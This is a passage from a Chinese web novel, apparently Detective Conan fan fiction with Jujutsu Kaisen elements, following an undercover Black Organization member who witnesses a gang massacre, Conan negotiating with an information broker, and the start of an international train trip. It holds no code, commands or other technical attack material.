有人愤怒大吼起来,他们的吼声就像是怒雷。忽如其来的打击打破了聚会,台下的人纷纷从身上掏出手枪,要让袭击他们的敌人得到惩罚。 但这一切好像距离三轮未海很远,就像隔了一层膜,他仍是跪倒在地上,呆呆地看着那个原本强大无比的男人瘫倒在酒案上的尸体。他的哥哥也没有坚持多久,冲出去一小段距离,就被扫射了下来,怒吼声、枪击声,如织雨一般,就在他身旁最近的地方发生。 这些从前一直吹嘘着自己手段的“长辈”们后来就只能发出惨叫了,有纹着恶鬼的老人大喊:“你们到底是谁,蛇鳅会什么时候得罪你们了……” 没有回答,来的这群人就像沉默的机器一样,出手格外干脆狠戾,一直到场上没有一个站着的人,开枪的声音才慢慢静止下来。 有脚步声走近。 暗中的人身体细微地颤抖起来,他的心脏在怦怦跳,眼珠子在无序地乱动,他竭力抑制着自己的异常,让呼吸放轻到无。 可还没完,“噗。”又是一声枪响,有人发出像咽喉被扼住的声音。 他们在干什么?在将所有人都检查一遍吗?这些人是哪里来的,为什么这么恐怖?恐慌溢满了他的心头。 但事情还是在继续,有人在来回走动,他们翻看着每一具的尸体,见到还有余息的,就直接补上一枪。他们不发一言,就像死神在检查着它的猎物。 躲藏的人心中满是绝望,他没想到,这次清理这个会的人会如此缜密与冷血,他们是要确保不放过一个人啊,看他们熟练的样子,说不得还不是一次两次这么做了。这该是怎样残酷的手段,又该是怎样庞大的组织,才能让他们这般习以为常? 恐惧如尖爪一样攒紧他的心脏,汗水如断了线的珠子浸湿他的衣裳,四周空气冷闷的像是水泥,那些人离自己越来越近,越来越近,他好像沉落到了深渊里,无论怎么挣扎,都找不到生路…… 有皮靴踩踏在地上的声音响起,有人轻轻吐息,浓稠的血腥味中,混入了一道沉郁的香烟气味。 “都解决了?”他问。其声如冰冷的锐器,充满了上位者的淡漠,和对此地情状的无视。 “大哥,”有人回答他:“蛇鳅会的所有高层都在这里了,他们有新年聚会的传统,说是要培养彼此间的感情,这样才好将组织延续下去。” “愚蠢。”前面的人淡淡评价道。 “大哥说的是,”后面人立即道:“都做高利贷的生意了,因他们而死的人都不知道有几家几户了,还谈什么兄弟感情,真是可笑。” “我说的不是这个。”先前人吐出字句。 又有人走进过来。躲藏的“幸存者”微微侧目,见到的是他们一身黑的装扮,还有先前那人一头垂下的长直银色头发。 “哥连士,情报是你搜集的,春雪会藏在这里的账目找到了吗?”男人问。 “啊。”最后来的人无意义地感叹了一声。不知为何,“幸存者”觉着这声音有些熟悉。 他似乎有些烦忧:“这次的事好像轮不到你出手吧,琴酒。” 琴酒笑了,他好像连笑也带着刺骨的寒意,直插人心,他道:“怎么轮不到我出手?春雪会可是组织新扶持起来的产业,它的反叛拖后了组织在日本的重建,我的任务,不就是让组织的运行顺利进行么?” “都怪那个什么‘光暗’的情报商,如果不是他,组织在日本的分部,怎么会遭受到这样的损失?”一旁的伏特加愤愤不平地为他大哥说话。 哥连士叹了口气,他懒懒道:“随便你了,我只负责情报的部分。” 他扫视了一下现场:“居然将所有的干部都聚在一起,也不怕一下子就被人一锅端了。” 琴酒看了一眼伏特加,心中为当年的事愈发不满起来。 “可以了,”眼见整理的人就快要到某个躲藏者了,那个抽着烟的琴酒却忽然打断了他们,他漠然道:“还有幸存的,就将他们留下来吧,研究室里还缺了一些材料。” 躲藏者每一处的肌肉都在颤抖,他眼睁睁地看到了,就在这人发话的前一秒,他身边的一位年轻的“叔叔”被人翻转了过来,直接在脑门上开了一枪,而分明,他在刚才还见到了,这人的手指曾大幅度抖动了一下。 “连这种的都要了吗?”哥连士有些讶异,他道:“今年实验室的消耗那么多吗?” 琴酒看了他一眼,没有说话。与此同时,有两个穿着十分奇怪,脸上抹着黑纹的人走了进来,他们也不看周围的人,而是径直布置着什么。 “这两个人……”哥连士摸着下巴:“好像在组织里没见过。” “不该你知道的事别管。”琴酒警告道。 “我倒是不知道组织什么时候和神道教,或者类似这种的组织合作了。”哥连士摇摇头:“我也不想管,BOSS有他的打算就好,我只用服从命令就行。” 琴酒刚想说的话被噎了回去,威胁没有送出,他面上的神情更冷了。 这种……好像是咒术界的东西啊。哥连士即风祭野见饶有兴致地看着这两个人在绘制着纹路,他在组织中也有自己的人手,知道组织是与咒术界有联系的,但是,应该还没到这种大面积用人命来堆砌的程度,连一个小帮派都不放过。这已经是丧心病狂的地步了。真以为他们都没有敌人啊。 是最近有什么事刺激了那个人吗?风祭野见忽然就想起了另一个自己在横滨市中所做的事,二十多万人一起复苏,而这个所谓的BOSS,他追求的就好像是……永生? 不会真的是吧?风祭野见有些不确定了。 便是在此刻,一道高亢的喊声打断了他的思考:“前辈!风祭前辈!救救我!救救我,前辈!” “停下!”有人在他身后大喊。 但三轮未海丝毫未听,子弹打在他身后的地上,他飞扑过来,停在风祭野见的不远处,抬起头,涕泪横流的脸上露出欣喜的笑,“是我啊,三轮未海!” 是的,他就在刚才,终于辨认出了那道熟悉声音的主人。在他被人拖着走时,他侧过头就见到了那张脸,熟悉的脸,陌生的神情。总是带着被生活压榨的苦笑的脸上现在是一种漫不经心的淡漠,他站在一堆尸体中间,一身适身的长风衣,平日里会端文件的手上是一双黑色的手套,腰间别着手枪,面露思考,整个人有一种格外冷肃的超然。 听见这边的动静,他好似往这里暼过来了一眼,他好像看见了,又好像什么都没看见。他只是淡淡地收回了眼神,就像是他三轮未海从来不存在一样。 但不是的。三轮未海又想起了几天前,在餐桌旁,他对自己说过的话,“希望你过段时间还这么认为就好了。”他的心一下子就沉了底。 他知道!他什么都知道!他平日里的一切都是伪装!他在假扮一个正常人!这种对比带来的强烈冲击几乎能比得上他的父亲在他眼前死亡的一瞬了,他心中恍惚,觉着自己过去过的一切也都变得虚假起来。 他感到自己坏掉了,有什么东西在崩坏。他面上露出一抹欣喜的笑,混合着死亡带来的恐惧,让他的脸都变的扭曲了,“前辈,风祭前辈!”他高喊,并拼命向他奔去,地上的血被他踩得飞溅。 救救我啊,前辈。我还想……再活下去。 第63章 抉择 他奔到风祭野见的不远处, 脸上带着一种绝望后猝临惊喜的笑。后面追着的人先是对他开枪,但看到他似乎真的认识组织中的代号成员后,又停下了脚步, 不敢上前。 风祭野见看着他,一时没有说话。首先开始说话的,却是一旁的琴酒, 他就像见到了什么有趣的事物一样,语声中带着昭然若揭的恶意:“哦呀, 看看,这是你白天里身份认识的人找上门来了啊, 你要为他求情吗,哥连士?” 你要怎么抉择呢, 哥连士? 他迫不及待地想看到那一幕, 撕碎这个人虚伪的假面, 让他知道,既然已经身处到地狱中了,就不要摆出那样一副与普通人无异的姿态, 不论是想要追求什么, 还是纯粹就是戏耍, 都恶心到让人想吐。 现场的气氛有些古怪, 伏特加看看这个,又看看那个, 最后还是低下头来, 不敢多言。 风祭野见面上现出了为难,这一刻, 他又好似回到了白日的他,他苦恼道:“为什么要认出我来呢?” “未海君, ”他睁着眼睛看他,里面是一种没有波澜的平静:“你是一个很敏锐的人,你应该知道,组织是不会放过一个与它有仇的人的。” 这几乎已经昭示了他的态度。在这一刻,三轮未海感到了前所未有的冰冷,这个人在他记忆中的所有画面都碎成了玻璃渣,那些微笑、那些帮助、那些数之不清的日常,都抵不过他窥得的,从这个人面下稍微泄露出的一丝……冷然无情。 一旁的琴酒嗤笑了一声,里面倒似有些失望。 他竭力思索,最后在风祭野见就要转头,身后人又要上前的刹那,像抓住了什么生机般,再次往前扑道:“不!我们是没有仇的!我不会仇恨你们任何人!因为我也是要杀了他,我已经给他酒里下了毒,你们杀了他,就是帮了我,是我的恩人!” 风祭野见讶异回望,连琴酒也忍不住多看了他一眼。 “是真的,”三轮未海迫不及待道:“我不能算是他的儿子,我的母亲是他二十多年前抢来的,因为还不起他的高利贷,他要了她,又不好好对她,对她做了……一些很不好的事,”说到这里,他满是恐惧的脸上流露出愤恨:“后来有了我,也不曾对她有所宽待,我在这座宅子里,过的是连一些仆人都不如的生活,日常打骂都是常有的事,”他匆匆脱下衣服,露出布满痕迹的背部:“这些,都是他生气后惩罚我的,是证据。” 琴酒暼了他一眼,又看向案台上的尸体,窥了眼下面的地毯。上面滚落的一个酒杯旁,是一团深褐色的、腐蚀了一小块毛毯的酒渍。他淡淡道:“他说的是真的。” 这是个想要谋杀生父的凶手啊。如果他们没来,这里说不定还会发生一起侦探剧。 风祭野见叹了口气,他道:“你还真是给我出了个难题啊,三轮未海。” “可这又能说明什么呢?”他轻声说:“组织并不是什么人都要的,难道就因为你有勇气弑父,就能够加入到组织中来吗?杀了这么多与你相关的人,又是在这样一个场景下,谁知道你内心到底是怎么想的。让你加入变数太多了,我为什么要给你这样一个机会?” 他细细地同他说,里面的含义却让另一个人刻骨深寒。他说完就抬起了手枪,将枪口对准了三轮未海的额头,他望着他,犹如虔诚的信徒望向不肯赐下一丝慈悲的神明。 “等等。”就在这一瞬,一边的琴酒忽然发话了。风祭野见顿了下,还是没有开枪,而是转头望向了他。 琴酒勾起了嘴角,他犹如在欣赏一幕戏剧,却在最精彩的时候将之打断,他走上前来,挑衅地看向风祭野见:“谁说组织不缺人的?” 他叼着烟,恶劣道:“弑父确实不算什么,但一口气要杀了几十人,这可就不算什么小角色了。”在众人面前,他走到另一旁的小桌子边,用戴着手套的手,拎起其中的酒壶,将之缓缓倒下。地毯迅速被侵染,不一会,其颜色就变深变褐,并发出一股烧焦的气味。 他拍了拍手,“好苗子啊,组织缺少的就是你这种人!” 风祭野见歪头看过去:“琴酒,你是故意的吗?” 琴酒眯起眼看他的神情,他缓缓道:“你要忤逆我的话吗?” 这一刻,就好像又回到了十多年前。风祭野见还是放下了枪,“不要用‘忤逆’这个词,你不是BOSS。”他淡淡道。 “哥连士,”琴酒冷哼一声,他狂放出杀气:“看来我还是给了你一个错觉,以为有了一个代号就可以高枕无忧了。代号成员与代号成员之间也是有差距的,就凭你这么多年来在组织中的所为,你以为你有什么能力这么和我说话?” 风祭野见头也不回地向外面走去,他道:“我的上级不是你。还有,没有BOSS的允许,你还不能处理我。” 他虽然无能,可还没有背叛组织。琴酒要抓的是老鼠,可不是躺倒的肥猫。 风祭野见走远了。琴酒的脸色十分难看,伏特加小心翼翼地试探道:“大哥,你看这……” 在场的所有人都不知道该如何做。没有被杀死的三轮未海也不知所措地待在原地。只有那两个来自咒术界的人还在准备着自己的东西。琴酒冷声道:“继续。” 现场便又再动起来,琴酒继续道:“一刻钟内,我要看到这里已经‘打扫’干净。”所有人动作更快了,“还有你,”他转向三轮未海,心中一个打算渐渐成型:“……明天去将推荐信拿到。” 三轮未海连忙应是。他松了口气,这条命终于保住了。但是,在彻底离开这所房子前,他转头望向了西北角的一个方位。这座房子中的所有人都被杀死了,依照他们这样严密的手段,不可能放过一个人,那么……他不敢再想,只将头低下,双眼中幽暗一片。 风祭野见站在远处,看向这栋房屋,他没有那个资质,所以看不见什么。但他想,若是他有那个能力,现在见到的,恐怕就是有氤氲的气从中升腾而起了。咒灵是从人类的负面情绪中生成,而又有那一种,比得上人临死前生成的恐惧与绝望?他不继续待在那里,是不想遇见什么不想见到的东西。 咒灵这种肮脏丑陋的存在,它们是有可能达到所谓的“永生”,黑衣组织的BOSS盯上它,不是没有道理的。只要他能够接受有失去理智的风险,还有自己身为人的外形,那么投入到其中,说不定还真能得到些东西。 风祭野见摇了摇头,他想,这恐怕不是他唯一的选择。最佳的就是“书”了,比石板选王更加稳定,王的诞生如此儿戏,恐怕他在得知那些时,心中的不平会达到顶峰吧?没有人不为那些幸运儿感到羡慕嫉妒,就算有风险,他们看到的也只是他们先前的风光。 生在这种综漫的世界,他的希望是多了,但大都是他得不到的,这该是怎样的折磨啊? 这样一想,他做出这些就一点都不感到奇怪了。 只是,风祭野见一转身想到,本体最好还是能有一具能处理咒灵的马甲,否则的话,这些看不见的东西突然的袭击,还是挺难预防的。 要加油啊,去做偶像歌手的小哥哥,去为本体赚取更多的能量吧! 命运翻过了一张牌,他先将其推向黑方,但在其即将陷入深渊时,又将其转为白色,但归根到底,这张牌还是落入了黑色中。他最终会有怎样的结果,谁又能说的定呢? 第二日的清晨,在打卡的最后一分钟,风祭野见又是恰好赶到。美月小鸟戴着工作牌路过,她捂嘴笑道:“风祭前辈,你今天又是老样子,还好没差时间,否则这个月的全勤奖又会没有了。” 风祭野见换上了他那件驼色的长夹克,他喘了口气,摸了摸自己的脑袋道:“我这种拖延症也是没办法了,不过,只要不迟到就好,上个月的全勤没了,可是让我心疼了大半个月呢!” 美月小鸟道:“那天也是下雨堵车没办法。其实我也还是很佩服风祭前辈你对时间的精确掌控的……诶,三轮未海君,你今日怎么也这个时候来啊?” 她看向风祭野见的身后,一个人此时正僵硬地站在那里,他面色惨然,双眼下都是青黑,一副格外虚弱的样子。 “你往日里都是不会迟到的,你、你昨天是去做了什么吗?还是受了伤,怎么会这个样子?”美月小鸟吃惊道。 “我、我……”他连看也不敢看前面那人的背影,手足无措道:“我只是昨晚在路上摔了一跤。” “摔跤?”美月小鸟不解。“可能是摔到了哪里吧,”风祭野见笑着转过身来,他就像往常那样同他打招呼:“三轮未海君可要打起精神来啊,如果不舒服就去医院检查一下,工作归工作,身体才是最重要的,如果拖出了问题,那才要花大价钱的。” 美月小鸟连连点头。三轮未海眼神复杂地看了他一眼,他实在有些不理解,人为什么会有两个样子,而像是昨晚的那个人,又为什么会在这里做一个普通的职员。难道这就是强者特有的个性? 这一切都是那么的虚幻离奇。 第64章 你打算为之付出什么 他稍微收拾了下心情, 让自己显得不那么惊慌,他轻声道:“我知道了,我会看顾好自己的。” 这“看顾”显然有一语双关之意, 既回应了风祭野见明面上的关心,又暗自表示,自己绝不会将昨夜的事外传出去。 风祭野见没有说话, 只是笑着看了他一眼。伴随着美月小鸟这个什么都不知道的叽叽喳喳的人,二人一齐向着银行内部走去。 三轮未海深吸口气, 他此次回来,除了是昨日那个银长直吩咐的以外, 也还有另外一个原因。 他要从这位“前辈”那里得到一封邀请信,组织外的人加入, 除了上面特意吩咐过的, 就只有推荐“入职”这一条道路了。而普通的成员是没有推荐名额的, 除非你有很多关系,只有代号成员天然有这种权利,这也是他们身份地位的一种昭示。 三轮未海沉下心。他已初步察觉到这个组织的恐怖与庞大, 解决他家中那个盘踞在一地的帮派, 就像是解决一只小虫子一般, 他现在只看见了深海中的一角, 但总有一天…… 他按耐下心绪,瞧了眼前面人的背影, 不再多想。 ===== 柯南今日待在博士家中, 少年侦探团的其他几人在这个节假日中,都在与自己的父母进行一场短期的亲子的旅游, 灰原倒是还在,就在一边打着一些他看不懂的符号和数字。 他脸色凝重, 想了很久,最终,还是拨打出了一个号码。 通讯器有节奏地发出响声。三声过后,对面接通了这个电话。 他没有说话,他也没有说话。仿佛就是在比谁先沉不住气一样。最后,还是柯南忍不住道:“我去看过了稻田真司,他现在过得很好。” 对面愣了下,然后道:“原来是你啊,小侦探。” 还记的自己就好,柯南稍微放下心,他道:“但是他现在依旧不肯透露出一点你的消息,声称从头到尾,都是他策划出的复仇剧,没有任何外人加入。” “这不就是事实么?”对面人漫不经心:“指证人是需要证据的,小侦探。否则的话,就是破坏别人的名誉了。” 柯南目光灼灼:“但你不是毫无因由加入这个案子的吧。虽然你在所谓的里世界的名号,就是以参与这种混沌的案子出名,可这次的案件对你是不一样的吧?” “嗯?你想怎么说?”对面人似乎来了兴趣。 “那个被长川右介杀死的出版社的女编辑,清水葵,”柯南声音低沉下来:“她是你的母亲吧。” 一边打字的灰原哀停了下来,往这边望来。对面陷入了死一样的寂静。 半晌,他才听到对方短促地笑了一下:“谁知道呢,或许是?” “那你又想做什么呢?”对方又问:“通过她来找出我的身份吗?不行的哦,”柯南仿佛瞧见了他闲适地摆弄自己手指的样子:“当年的程序流程走得很隐秘,靠查是查不出来的。” 柯南连忙道:“我没想去查这些。” “那么,你就是想要那个组织的信息了?”对面轻笑了下,忽然非常笃定道。 柯南咬牙:“你到底知道些什么?” “知道什么?不,我什么都不知道,”对面人淡淡道:“就像我不知道,这条通讯的线路是握在公安手里的,小侦探,看来你也很有两把刷子嘛,还能和这种政府的机构联系在一起。” 柯南愣了下,他想到自己是从某个网上人那里得来的消息。他脑海中思绪翻腾,但还是飞快地将之扫到一边,他没有揭穿道:“不错,你也应该知道,像那种涉及到了那么多黑色利益的组织,政府会注意到他们,也是理所当然的。” “不止哦,还有FBI,”对方倒是不介意再透露出一些,他说:“相比较于你这样无头查找,他们的线索可就多了,还有不少爪子都安排进去了。你如果坚持不下去了,向他们求助也未必不可行。” 柯南怔住了,他下意识地看向了灰原哀。这个短发的小女孩冲他点点头,无声开口:“组织里确实有很多间谍。” 柯南有些激动,在无头绪地找了这么久以后,他终于知道自己并不是孤单一人了,黑衣组织是很庞大,但它依旧还是要潜藏在阳光下。他继续道:“那你呢,你为了得到这些消息也付出了很多吧?” 是啊,得穿一次越。另一边的望川涉轻抿了口果汁,他现在正穿着一身白色的西装,随意地坐在一张沙发上。在换回自己富家大少的身份后,他更喜欢一些明亮系的衣服,也许是为了将他的黑夜隐藏得更深。“不错,”他淡淡笑道:“所以,你打算为之付出什么?” “你……”柯南有些哑然。他恍似有一种感觉,自己好像是在与一位奸商做交易。 他的心情复杂。他没想到,竟然真的会有人拿出那个组织的情报来交易,而且,还是这样一个正邪难辨的黑暗界中的人。他稳住自己的心绪:“你有什么?” 望川涉笑了起来,他咬着音调,用一种愉悦又轻快的声音说:“那就看你能付出什么了。有些东西,或许你应该去和你身后的人谈谈,要知道,它们的价值,以你一个小侦探,大约是付不起的。” “他真的是这么说的?”镜头一转,柯南的手机中传来自己父亲的声音。 “嗯,”柯南有些忐忑:“他应该没有说假话。” “不用担心,”工藤优作首先安抚:“如果是金钱,我还是能拿出一些的。不过,他想要的应该不止这些。” “他想要的是什么?”柯南问。 “这些代价不应该只有你来付。”工藤优作摇了摇头:“他不是提醒过你了吗,你的联络方式是从哪里来的?” “日本公安。”柯南眸色逐渐锐利。他知道,自己这一次是被当做棋子用了。 “嗯,”工藤优作道:“据你所说,这个人在黑暗界中最近很出名,是被那个组织提名悬赏的存在。那么,一直关注着组织的人,理所当然也会注意到他。尝试着去搜集他的信息,或许也还有收编的意图。他的能力很不错,能在那个组织的追捕下还闹出了那么大的动静,就算是出于安保的目的,也不会放任他乱来。” 柯南的神情很复杂:“我知道了。我只是没想到,这样的人,我们真的要与他做交易……” “新一,”他的父亲很认真道:“我知道你在想些什么。我也没想到,你真的会拨通那个电话。从前的你一直认为世上只有黑白,但在经过那个案子后,你有了成长。所以,我才会在今日和你说这些。新一,‘正义不是理所当然的事,不要以为习以为常了,就认为它天生该是如此’。” “‘一开始我们都是野兽,会撕扯身边的同类。后面是漫长的混沌,伦理与道德发不出一点声音。只有到了最后期,才有了正义些微的光。’‘正义其实是软弱的,是由人浇灌成的,所以我们要不择手段地将之变得强大。’”工藤优作道:“我们不需要那么极端,但是有时候,要学会变通。那个人,‘傀儡师’,是一个立场模糊,有自己心中准则的人。为了获取情报,与之做交易,这没什么,因为很有可能会拯救下许多在暗中为了和平努力的人。” “你需要的,是一直警惕他的‘危险’。”工藤优作道:“不要让自己被他的光所蛊惑,从而失去自己的立场。” 柯南静静地听着,直到工藤优作停止,他才露出一个笑道:“我知道了爸爸。” 工藤优作又叮嘱了好一会,柯南才将手机放了下去。他一转身,就被一个靠过来的身影给吓了一跳。 “啊,爸爸~”灰原哀故意模仿道。 “灰原!”他恼怒大喊。 “还真是一个好父亲呢,连这种事都帮的上忙。”灰原哀十分冷静:“而且,说的还很有道理。” “你也认为可以和那个人做交易。”柯南思索。 灰原哀背起双手:“我只知道,组织要杀一个人,还没有杀不掉的。那个人,‘傀儡师’,他从琴酒手里逃脱了。并且,组织可能还在他手中吃了亏。” “什么?”柯南讶异。 灰原哀将电脑拿了过来,屏幕上是一张地图,上面勾勒出了一些线条,“之前的东京爆炸知道吧?” 柯南冷然:“报纸上报道过了。” “我怀疑,”灰原哀用笔做教鞭状:“这里、这里、这里,还有这里,其实都是组织暗藏的据点。” 柯南睁大眼:“你是说……” “是的,”灰原哀冷肃中暗藏着激动:“他将组织在东京的大半个分部给炸掉了!”她的眼中透露出光:“不管他怎么做到的,他就是做到了。这家伙,是个天才!” 柯南瞧着她激动的样子,他抽了下眼角:“灰原你……” 灰原哀双手扶在了他的肩膀上,她直视着他的眼睛道:“你可以看不惯他的作风,也可以在他搅入一些事中,用侦探的手法将他的谋划给破坏掉。但我还是要说,在组织的事上,你要和他打好关系,哪怕不能成为朋友,也绝不要与之交恶!” 柯南皱起了眉:“你太激动了,灰原。” “不,”灰原哀否定道:“我很冷静。你相信吗,工藤侦探,我有一种预感,他说不定就能帮我们从组织中拿到APTX4869药!” 第65章 新一轮的开始 毛利侦探所下方的咖啡厅新来了一位咖啡师, 是一位很帅气的青年,短发利落,皮肤是健康的深色, 他笑容爽朗大方,拉出来的咖啡花纹也生动漂亮,很受店内女客的欢迎, 最近的生意都因之好了很多。 裴真依旧是按照原来的频率来到这里吃早餐,这里的价格不昂贵, 三明治和一些早食也算不错,还提供给客人打包, 就算没有剧情的关系,他也会愿意光顾这里。 他在总结自己这段时间的收获。[伊莎贝尔]从开始到结束的所有光点已经被他用完了, 最近存起来的, 是[风祭野见]和[柳生明澈]这段时间的成果。[风祭野见]与琴酒和伏特加相遇了三次, 除了初见,后面两次提供的也不多,分别总共是+54、+35。而[柳生明澈], 即去闯娱乐圈的那位, 声势还没有起来, 听过他名字还留有印象的, 有几千余人往上,但裴真只收获到了102.2的光点。 他也不急, 不论什么事情, 都不是一蹴而就的。 也就是说,他现在总共只有191.2+34.1=225.3光点。后面的是这几天里与柯南等人的遇见。和前段时间的富裕相比, 真是天壤之别。 “先生,您点的餐。”新的店员将一杯刚热好的牛奶端了上来, 旁边还有一张卷了鸡蛋和热狗的卷饼,是店里新推出的菜式。用目光不引人注目地将这位附近的侦探常客扫视了一遍后,店员旁若无事地回到了柜台的后面。 “噔噔噔噔。”有人从上面楼梯走下来的声音。 见到裴真,柯南他们有些讶异,“哎呀,天野哥哥,”柯南打招呼道:“最近好久都没见到你来这里吃饭了,是事务所的事情终于解决了吗?” 他们一行三人身上穿着厚衣服,头上也带着毛茸茸的耳罩,身边是箱子的行李,一副要外出远行的架势。 裴真新买了一部手机。柯南中科技的发展似乎有些魔化,从前“他”带在身上的、从乡下带来的,是一部有按键的直板手机,但最近市面上流行的,却都是些全面屏的手机。事务所有了进项后,他就去买了一部新的。 裴真笑了下:“哪有那么多的事物,只是处理了一些社里陈年的卷宗,有些累,不想出门而已。” 柯南的眼睫抖了抖,他开始发现,这位“天野哥哥”,在稍微混熟了一些后,就毫不掩饰他“社恐”的性子了。一边的店员将一份咖啡加蛋堡的早餐送到柯南他们面前,毛利小五郎毫不客气地就开始开吃了,小兰也是在打过招呼后,享受起她的那一份了。 “你们这是……”裴真看了下他们的装扮。 “不是步美他们都去旅游了吗?”小兰抬头微笑道:“正好爸爸接到了一份国外朋友送来的邀请,我们就决定带柯南过去看看。前段时间他们进行了期中考,我们也答应过他,取得了好成绩,就一起出去游玩,这趟就算是了,还可以体验一下当地的风情特色。” “这个时候也是个旅游的好季节,”为他们再送来味增汤的店员熟稔地插话道:“带着孩子去看看也好,这应该是一趟很轻松的旅程。” “是吗?”小兰很高兴,她脸色红扑扑道:“我还没体验过这样长的一段旅程呢,以前是坐飞机去的,这一次据说坐的是国际列车,会路过好几个国家,真是让人期待。” 裴真的手一顿。店员也有些惊讶,他道:“国际列车?哇,我听说过,据说可以一次性看到许多国家的景色,有人专门坐这样的车去游玩,中途还可以拍下很多漂亮的照片。” 小兰眼一亮:“你也知道?你有朋友去过吗?” “是有一位朋友和我说过……”店员以一种十分自然的姿态,迅速且毫无异样地融入到这一家的外层圈中。很快,他就与这家的女儿相谈甚欢了。柯南从暗中看着这一幕,心中的警戒心迅速升了起来。 “喵。”“宝石”在下面蹭着裴真的腿。 他们交换了姓名,这黑皮的青年名叫“安室透”,是一位以打工为生的自由人,有一位朋友在美国,时常进行旅游,所以对这些事也知晓一些,给了小兰很多建议。 可惜,这位“安室君”只给了自己13点的光数,估计是从前在哪里早就注意到了他,所以没有大数目的进项。 柯南蹭了过来:“你知道这个家伙的底细吗?” 裴真惊愕侧目:“我是侦探,又不是变态,不是身边的每一个人都要去调查,那样还怎么生活?” 柯南暗自气恼,他想,天野鹤确实有发展成自己帮手的潜力,但就是进取心不足,他更像是一个宅男,而非是一个侦探。 他们很快就聊完了。门外停着一辆车,是一辆黄色的甲壳虫,司机位上是一位圆圆身材的胖老人,一个棕色头发的小姑娘正趴着车窗往这里望来。她的注意力完全在安室透身上,眼神中透露出的情绪不一而足,多数是震撼与惊恐。 但在安室透就要看到那边时,她立刻消失在了车窗后。 “真好啊,”在裴真身边,他有些羡慕地感叹着:“在节假日的时候,和全家与朋友一起旅游,我也想要有这样的生活。” 裴真点点头:“普通人想要的就是这样的日子,可生活往往不给他们机会。” 安室透有些无语,他望着这个最多只有十七八岁的少年人,不知他是从哪里来的感慨。他想了想自己查到的资料,道:“若是要做一个侦探,那就向毛利小五郎先生学习吧,想来日后也会取得成就的。” “你说的对!”裴真完全不反驳他,他大声称赞道:“毛利先生就是我的榜样,他是我见过破案最轻松的人,可惜,我还学不到他的精髓,差了一点东西。” 安室透噎了下,不知为何,他总觉得这句话有些怪怪的。 裴真很快就将自己的早餐吃完了,并带走了一些以供中午吃。在走之前,裴真礼貌性一抽。 [青铜·技能]【绘画】 油彩之中就是整个世界。你沉迷于此,觉得画作之中,才是你真正的理想乡。 看来抽卡确实是与自己遇见什么人没有关系,就硬凭运气。运气好就是好,不好就是不好。作弊是不允许的。 他将重点放到了自己马甲身上。 “店里来的那个是什么人?”灰原哀躲在车内的椅子下,瑟瑟发抖地问。 柯南有些惊讶:“就是个咖啡店员而已,你这样……” 灰原哀闭上了眼睛:“我不知道,我就只是有一种感觉……” 柯南皱紧了眉:“莫不是酒厂的人,他来这里做咖啡店员,难道是……识破了我的身份?”一想到这里,他就心中一震,涌出了恐慌。 “柯南!”副驾驶座上的小兰扭头道:“快把安全带系好,还有灰原,灰原你……”她发觉了灰原哀的异样:“你怎么了?” “没什么,”没等柯南回头,灰原哀就已经重新坐回到了椅子上,她冷淡道:“只是刚才有些冷了,才有些发抖,现在已经好多了。” 小兰有些担忧地看了几眼,并决定接下来将自己的一件衣服搭在她身上。 “为什么不坐飞机?”灰原哀小声问柯南。 “这其实是趟国际旅游列车,车票的价格比飞机高多了,”柯南同样小声回答:“再说了,客户送过来的就是这个,不去就浪费了。” “总觉得这一趟会发生什么,”灰原哀的眼中透出迷茫,她望向车窗外:“是刚才碰到的那个人刺激到了我吗?” 柯南安慰道:“你要是累了,就先睡一会,一会还要转车呢。” 他们看不见的下方,一小团布下微微抖了抖,像是躲藏了什么东西。 地球上的天气,冬季的时候,越是往南,气候就越温热,因为是热带季风气候,所以那边普遍比日本要高出好几度,一些冬日的衣服都可以褪下来了,换上更轻便的日常服。 这一趟原本只邀请了毛利一家,后来的博士和灰原哀则是真的想要出门逛一逛,并且很让他们惊讶的是,当小兰他们真的到达了车站,一个小惊喜就已经在那里等候他们了。 “Surprise!”一个带着发箍的短发美少女猛的转身,向小兰他们展示着自己的身影。她青春活力地跳了跳,一身深红色的裙子让她多了几分老气,她冲着毛利兰张开了怀抱。 “园子你!”小兰的双眼亮了起来,毫不犹豫地上前去抱住她,“你不是说你要去你叔叔的葡萄园吗?” “嘿嘿,”铃木园子不好意思道:“我那个时候不是不高兴小兰你出去旅游不带我吗?后来我又一想,小兰你没有票,那我就干脆自己买一个好了。那点不高兴和与小兰你一起出去旅游的快乐相比起来,简直不值一提。”她握起拳头,兴奋道:“买张票才是我赚了好吧!” “园子!”小兰有些感动。 “小兰!”铃木园子也回馈般握住她的手。 柯南只感觉有阴影覆盖下来,他口眼歪斜地看着这一幕,心中稍微有些不爽起来。 “先生,请出示你的票据。”旁边传来列车员有礼貌的声音。 “啊,”出声的是一位亚麻发色的男士,他手里提着一个箱子,身上穿着一件长夹克,身边跟着一位年轻的男人,其眼中是淡淡的灰色,双方看上去应该是同事的关系。他赶忙将箱子放在一边,在口袋里掏了掏,掏出一张票,并有些疑惑地说:“这个国家是在车外就检票吗?” 没有人回答他,他也没觉得尴尬,只是站在原地等着。 是个日本人,应该是个公司的职员,中下层,不知道为什么,也搭上了这趟旅游的列车。目的地不知道是哪。 “前辈。”他身后的人拉了拉他的衣角,凑过来小声说了些什么,柯南没有听清。他也不在意,刚要转头去和他的小兰姐姐说话,一道黑色的衣影就从他的眼角处划过,他瞬间睁大眼。 但等他再努力回望过去时候,那道身影已经消失在了另一个入口处,他飞快跑过去的脚步停了下来,“怎么会,”他在心中闪起了雷鸣:“那个人是……” “怎么了?”这一次一惊一乍的人轮到了柯南,灰原哀刚才正在听歌,耳机还插在她的耳朵里,对于柯南的反应她有些没明白过来。 “不,没什么。”柯南看了她一眼,道。 第66章 各异的人 “是这样吗?”一位明眸的女子很感兴趣地问:“您在那个家中破解了那个案件, 凶手是家里身为小提琴家的小儿子,因为对身为继母的女人产生了不伦的恋情,所以不得不在十年前黯然离开, 以为可以就此断开,可谁知道,十年后, 竟听闻了她的死讯……” 毛利小五郎洋洋得意地大声叙说:“是啊,十年后的雪夜, 他踏着风雪从外地归来,身上仅带着一把挚爱的旧提琴, 以此展开了他的复仇之旅,于是凄美的杀戮之音响彻了这栋孤立的老宅……” 江户川柯南在一旁脸抽抽地听着, 他敢保证, 就他跟在这个人身边的几年时间里, 从来没有发生过这样一起奇怪的案件。比起现实,它更像是一部充斥了狗血恋爱的伤感文学,最多就是加点推理因素。他绝不承认, 这也会是一部推理作品。 列车在铁轨上安静地行驶着。他们现在是在邻座的包间中, 这位长发的美女是一位同样来自日本的客人, 她自称是“小桔子”, 是一位刚踏上演艺道路的明星,目前已经有了三部作品, 